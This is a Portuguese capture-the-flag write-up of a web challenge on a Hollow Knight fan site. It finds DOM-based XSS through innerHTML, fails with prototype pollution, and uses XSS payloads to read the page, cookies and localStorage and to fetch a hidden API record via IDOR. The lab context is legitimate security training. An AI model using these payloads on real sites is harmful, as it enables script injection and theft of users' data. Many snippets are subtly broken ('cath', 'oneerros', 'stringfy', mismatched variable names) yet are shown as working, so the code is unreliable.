Detalhes do desafio
- Nome: Hollow Alternativo
- URL: https://pipposnow.alqlab.com/
- Plataforma: https://ctf.alquymia.com.br/
- Categoria: Web
- Dificuldade: Média
Pistas iniciais
- O desafio é baseado em uma página feita por fãs de um jogo famoso (Hollow Knight)
- O desenvolvedor “deixou uma falha séria” durante o desenvolvimento
Fase 1: Reconhecimento e Análise Proativa do Código
Como não há um erro óbvio para nos guiar, precisamos caçar ativamente a vulnerabilidade examinando o código da página.
Passo 1.1: Formule uma hipótese
As conquistas não estão carregando. Isso sugere fortemente que uma função JavaScript é responsável por buscar e exibi-las, e que essa função está falhando ou sendo bloqueada.
Passo 1.2: Inspecione o código-fonte
Para testar nossa hipótese, precisamos encontrar o código que lida com as conquistas.
- Abra as Ferramentas do Desenvolvedor
- Vá para a aba Sources (Fontes)
- Use a função de busca (Ctrl+F ou Cmd+F) para procurar palavras-chave relacionadas ao conteúdo que falta. Boas palavras-chave seriam “conquista”, “achievement” ou “container”
- A busca vai te levar rapidinho à função
loadAchievements
Passo 3: Identifique a primeira vulnerabilidade
Dentro da função loadAchievements, você encontrará um bloco try...catch. Isso é uma mina de ouro para quem testa segurança.
async function loadAchievements(){
const container = document.getElementById('achievements-container');
try {
//código para buscar conquistas de uma API
const response = await fetch(API_BASE_URL);
//...
}cath (error) {
console.error('Erro aos carregar conquistas:', error);
container.innerHTML = '
<div class="error">
Erro ao carregar conquistas dos antigos: ${error.message}
<br><br>
<small>Os segredos de Hallownest permanecem selados..</small>
</div>
}
}Explicação do código: Mesmo sem um erro sendo lançado, já dá para ver a vulnerabilidade. O código dentro do bloco catch pega o error.message e o injeta diretamente no HTML da página usando innerHTML. Essa é uma vulnerabilidade clássica de Cross-Site Scripting (XSS) baseado em erro. Se conseguirmos uma forma de forçar um erro e controlar sua mensagem, podemos executar JavaScript.
Fase 2: Tentando Explorar o Tratador de Erros
Nosso primeiro passo lógico é tentar explorar a vulnerabilidade que acabamos de encontrar.
Passo 2.1: A teoria
Precisamos fazer o bloco try falhar. Uma forma comum de fazer isso é com Prototype Pollution (poluição de protótipo). Podemos “poluir” as propriedades padrão dos objetos JavaScript para que, quando um erro for criado, sua propriedade message contenha nosso código malicioso.
Passo 2.2: A tentativa
No console, podemos tentar definir uma mensagem padrão para todos os novos objetos Error:
Error.prototype.message = "<img src=x oneerros=alert(1)";Depois, recarregaríamos a página, na esperança de que a função loadAchievements falhe e use nossa mensagem poluída.
Por que isso falha: Essa abordagem não funciona. Recarregar a página não produz um alerta. Isso nos ensina uma lição importante: nem toda vulnerabilidade óbvia é explorável. O erro lançado é um erro de rede padrão, e sua mensagem é gerada pela pilha de rede interna do navegador, que nossa prototype pollution não consegue afetar. Precisamos encontrar outro caminho.
Fase 3: XSS Baseado em DOM
Já que o tratador de erros foi um beco sem saída, precisamos reexaminar o código que encontramos em busca de outro caminho.
Passo 3.1: Encontrando um novo vetor
Ainda na aba Sources, encontramos outra função: displayAchievementModal(achievement). Essa função foi feita para exibir um pop-up com os detalhes de uma conquista.
function displayAchievementModal(achievement){
// ...
document.getElementById('modalDescription').innerHTML = description;
// ...
const statsHTML = `
<div class="achievement-stats">
<span class="percentage">${achievement.percentage}% dos exploradores</span>
</div>
`;
document.getElementById('modalStats').innerHTML = statsHTML;
// ...
}
Conceito explicado: Essa função é vulnerável a XSS baseado em DOM. Essa vulnerabilidade ocorre quando o código do lado do cliente manipula o DOM de forma insegura. O uso de innerHTML é um grande sinal de alerta, porque ele interpreta strings como HTML e executa quaisquer scripts ou tratadores de eventos embutidos.
Passo 3.2: Montando e executando o payload
Podemos controlar o objeto achievement. Vamos focar na variável statsHTML, que usa achievement.percentage. Podemos injetar nosso código escapando da tag HTML existente.
- O template começa com:
<span class="percentage">${achievement.percentage}%... - Se definirmos percentage como:
"><img src=x onerror="alert(1)"> - O HTML resultante vira:
<span class="percentage">"><img src=x onerror="alert(1)">%...
Isso fecha com sucesso a tag <span> e injeta nossa tag <img>. O navegador vai tentar carregar uma imagem de uma fonte inexistente (src=x), falhar e, então, executar o código no tratador de eventos onerror.
No console, chamamos nós mesmos a função com um objeto malicioso:
displayAchievementModal({
name: "Test",
description: "A test achievment",
percentage: '"><img src=x onerror="alert(\'XSS Confirmed!\')">',
private: true // 'true' precisa ser totalmente minúsculo
});Passo 3.3: Sucesso!
Uma caixa de alerta com “XSS Confirmed” aparece. Confirmamos uma vulnerabilidade de XSS funcional e agora temos a capacidade de executar JavaScript arbitrário na página.
Fase 4: Armando o XSS para Encontrar a Flag
Agora que temos execução de código, podemos usá-lo como ferramenta para procurar a flag de forma sistemática.
Passo 4.1: Procurando no HTML da página (DOM)
Primeiro, verificamos se a flag está escondida em algum lugar do código-fonte da página, executando este código no Console:
displayAchievementModal({
name: "Specific DOM Search",
description: "Searching the page boby with a more specific regex...",
percentage: '"><img src=x oneerros="let flag = document.body.innerHTML.match(/ALQ{[\\w-]+}/); if(flag){console.log(\'FLAG FOUND: \' + flag[0]); document.title=flag[0];}else{console.log(\'FLAG NOT FOUND IN BODY\'); document.title=\'FLAG NOT FOUND IN BODY\';}">',
private: true
});O título da página mudou para “FLAG NOT FOUND IN BODY“. Este é um fracasso bem-sucedido! Provamos definitivamente que a flag não está escondida na parte visível da página.
Passo 4.2: Verificando o armazenamento do navegador
Como a flag não está no DOM, nosso próximo passo lógico é verificar, pelo Console, locais comuns de armazenamento no lado do cliente, como cookies e localStorage.
Verificar os cookies:
displayAchievementModal({
name: "Cookie Search",
description: "Checking cookies for the flag...",
percentage: '"><img src=x onerror="document.title = document.cookie || \'NO COOKIES FOUND\'">',
private: true
});Verificar o localStorage:
displayAchievementModal({
name: "Storage Search",
description: "Checking localStorage for the flag...",
percentage: '"><img src=x onerror="document.title = JSON.stringfy(localStorage || \'LOCALSTORAGE IS EMPTY\'">',
private: true
});Esses comandos também revelam que a flag não está nos cookies nem no localStorage. Esgotamos as opções de busca no lado do cliente.
Fase 5: Investigando a API
Como a flag não está no código do lado do cliente, precisamos fazer um giro (pivot). Nossa pista inicial era que as conquistas falhavam ao carregar. Agora que temos execução de código, podemos investigar essa falha por conta própria.
Passo 5.1: Fazendo uma requisição à API
No código-fonte, vimos uma variável API_BASE_URL que aponta para /api/achievements. Podemos usar nosso XSS para fazer uma requisição fetch a esse endpoint e exibir a resposta.
displayAchievementModal({
name: "API Fetch",
description: "Fetching data from the API...",
percentage: '"><img src=x onerror="fetch(\'/api/achievements\', {credentials: \'include\'}).then(r=>r.text()).then(d=>document.body.innerText=d)">',
private: true
});Passo 5.2: A observação crítica
O conteúdo da página é substituído por um array JSON de objetos de conquista. Inspecionamos com atenção o id de cada objeto.
[
{ "id": 1, ...},
{ "id": 2, ...},
{ "id": 3, ...},
{ "id": 4, ...},
{ "id": 5, ...},
{ "id": 6, ...},
{ "id": 8, ...}
]A lista de conquistas pula de id: 6 para id: 8. A conquista com id: 7 está faltando. Esse é um forte indício de um recurso escondido.
Fase 6: O Explorar Final
O id: 7 ausente é nossa pista final. Precisamos fazer uma requisição a /api/achievements/7.
Passo 6.1: Reconhecendo a armadilha
Um erro comum é tentar embutir o comando fetch complexo inteiro diretamente no payload de XSS, assim: onerror="fetch(...).then(...)". Isso é altamente não confiável. Está sujeito a falhas silenciosas por escape de aspas e erros de sintaxe, tornando a depuração quase impossível.
Passo 6.2: A solução
O método padrão e confiável é separar a lógica complexa do ponto de injeção. Faremos isso em dois passos limpos.
Passo 6.2-A: Definir uma função auxiliar
Primeiro, definiremos uma função limpa e simples no console para fazer o trabalho pesado:
function getSecret() {
console.log("Tentando obter a conquista secreta...");
fetch('/api/achievements/7', {credentals: "include"})
.then(responde => response.json())
.then(data => {
console.log("Sucesso! Aqui está o dado:", data);
})
.cath(error => {
console.erros("Erro! A solicitação falhou:", erros);
});
}Você verá undefined no console, o que é normal. A função agora está definida e pronta.
Passo 6.2-B: Executar a função com o XSS
Agora, usamos nosso payload de XSS simples e confiável para chamar a função que acabamos de criar:
displayAchievementModal({
name: "Function Call",
description: "Usando XSS para chamar nossa função auxiliar...",
percentage: '><img src=x onerror=getSecret()">',
private: true
});Passo 6.3: Encontrando a flag
Imediatamente depois de rodar o segundo comando, olhe o seu Console. Você verá as mensagens da nossa função getSecret, seguidas do resultado bem-sucedido com a flag.
SUCCESS! Here is the data: {
description: 'Você descobriu o segredo mais profundo de Hallownest! Flag: ALQ{<flag-content>}',
icon: 'ancient_secret.png',
id: 7,
name: 'Segredo Ancestral',
percentage: 0,
...
}
Resumo das vulnerabilidades
- Cross-Site Scripting (XSS) baseado em DOM: A função
displayAchievementModalrenderizava de forma insegura dados controlados pelo usuário (achievement.percentage) no HTML da página usandoinnerHTML, sem sanitização, permitindo a execução de JavaScript arbitrário.
- Referência Direta a Objetos Insegura (IDOR): O endpoint da API
/api/achievements/{id}expunha um objeto secreto (id: 7) sem realizar as verificações adequadas de autorização, permitindo que qualquer usuário que adivinhasse o ID pudesse acessá-lo.


